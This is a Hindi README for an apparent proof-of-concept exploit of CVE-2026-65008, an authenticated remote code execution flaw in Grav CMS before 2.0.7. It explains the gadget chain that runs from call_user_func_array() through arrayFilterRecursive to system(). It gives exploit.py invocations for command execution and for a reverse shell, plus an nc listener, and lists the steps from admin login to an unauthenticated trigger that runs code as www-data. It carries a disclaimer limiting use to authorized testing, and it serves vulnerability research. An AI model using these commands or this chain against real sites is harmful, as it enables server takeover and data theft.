CVE-2026-65008 — Grav CMS < 2.0.7 प्रमाणित RCE

CVE-2026-65008 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: Blueprint::dynamicData() में अप्रतिबंधित call_user_func_array() के माध्यम से Grav CMS में प्रमाणित रिमोट कोड निष्पादन।

admin.pages (या api.pages.write) वाला उपयोगकर्ता एक दुर्भावनापूर्ण फ़ॉर्म फ्रंटमैटर लगा सकता है। पेलोड तब किसी भी विज़िटर (अप्रमाणित सहित) द्वारा पेज लोड किए जाने पर वेब-सर्वर उपयोगकर्ता के रूप में निष्पादित होता है।

केवल अधिकृत परीक्षण। केवल उन्हीं सिस्टम पर उपयोग करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है।

श्रेय

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

मूल कारण

Blueprint::dynamicData() हमलावर-नियंत्रित Class::method कॉल करने योग्य (callable) और तर्कों को बिना किसी अनुमति-सूची (allowlist) के PHP call_user_func_array() को पास करता है। ट्रैम्पोलिन के रूप में Grav\Common\Utils::arrayFilterRecursive के साथ मिलकर, यह system() / passthru / आदि तक पहुँचता है।

Grav 2.0.7+ में पैच किया गया।

CVSS

9.8 गंभीर (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

आवश्यकताएँ

• Python 3.10+
• requests

इंस्टॉल करें:

pip install -r requirements.txt

उपयोग

कमांड निष्पादन

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

रिवर्स शेल

पहले लिसनर प्रारंभ करें:

nc -lvnp 4444

फिर:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

तर्क

प्रक्रिया

1. /admin में लॉगिन करें (login-nonce निकालें)
2. एडमिन पैनल से admin_nonce प्राप्त करें
3. ऐसा पेज सहेजें जिसके फ्रंटमैटर में data-opts@: गैजेट हो
4. अप्रमाणित GET से ट्रिगर करें → www-data के रूप में RCE

अस्वीकरण

यह परियोजना केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान के लिए है। लेखक दुरुपयोग के लिए ज़िम्मेदार नहीं है। तृतीय-पक्ष सिस्टम का परीक्षण करने से पहले हमेशा लिखित अनुमति प्राप्त करें। मूल भेद्यता विक्रेता सलाह के माध्यम से प्रकट की गई थी; यह रिपॉज़िटरी केवल प्रयोगशाला पुनरुत्पादन प्रदर्शित करती है।

संदर्भ

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

लाइसेंस

अनुसंधान उपयोग के लिए। कोई वारंटी नहीं।